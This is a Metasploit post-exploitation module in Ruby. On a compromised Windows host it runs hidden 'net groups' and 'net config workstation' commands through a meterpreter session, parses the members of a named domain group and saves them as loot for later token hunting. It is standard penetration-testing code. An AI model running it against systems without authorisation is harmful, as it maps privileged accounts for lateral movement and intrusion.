metasploit-framework/modules/post/windows/gather/enum_domain_group_users.rb

136 lines
3.5 KiB
Ruby

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
class Metasploit3 < Msf::Post
include Msf::Post::Common
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Enumerate Domain Group',
'Description' => %q{ This module extracts user accounts from specified group
and stores the results in the loot. It will also verify if session
account is in the group. Data is stored in loot in a format that
is compatible with the token_hunter plugin. This module should be
run over as session with domain credentials.},
'License' => MSF_LICENSE,
'Author' =>
[
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Stephen Haywood <haywoodsb[at]gmail.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('GROUP', [true, 'Domain Group to enumerate', nil])
], self.class)
end
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
cur_domain, cur_user = client.sys.config.getuid.split("\\")
ltype = "domain.group.members"
ctype = "text/plain"
domain = ""
# Get Data
usr_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain")
dom_res = run_cmd("net config workstation")
# Parse Returned data
members = get_members(usr_res.split("\n"))
domain = get_domain(dom_res.split("\n"))
# Show results if we have any, Error if we don't
if ! members.empty?
print_status("Found users in #{datastore['GROUP']}")
loot = []
members.each do |user|
print_status("\t#{domain}\\#{user}")
loot << "#{domain}\\#{user}"
end
# Is our current user a member of this domain and group
if is_member(cur_domain, cur_user, domain, members)
print_status("Current sessions running as #{cur_domain}\\#{cur_user} is a member of #{datastore['GROUP']}!!")
else
print_error("Current session running as #{cur_domain}\\#{cur_user} is not a member of #{datastore['GROUP']}")
end
# Store the captured data in the loot.
loot_file = store_loot(ltype, ctype, session, loot.join("\n"), nil, datastore['GROUP'])
print_status("User list stored in #{loot_file}")
else
print_error("No members found for #{datastore['GROUP']}")
end
end
def get_members(results)
members = []
# Usernames start somewhere around line 6
results = results.slice(6, results.length)
# Get group members from the output
results.each do |line|
line.split(" ").compact.each do |user|
next if user.strip == ""
next if user =~ /-----/
next if user =~ /The command completed successfully/
members << user.strip
end
end
return members
end
def get_domain(results)
domain = ''
results.each do |line|
if line =~ /Workstation domain \s+(.*)/ then domain = $1.strip end
end
return domain
end
def is_member(cur_dom, cur_user, dom, users)
member = false
if cur_dom == dom
users.each do |u|
if u.downcase == cur_user.downcase then member = true end
end
end
return member
end
def run_cmd(cmd)
process = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
return res
end
end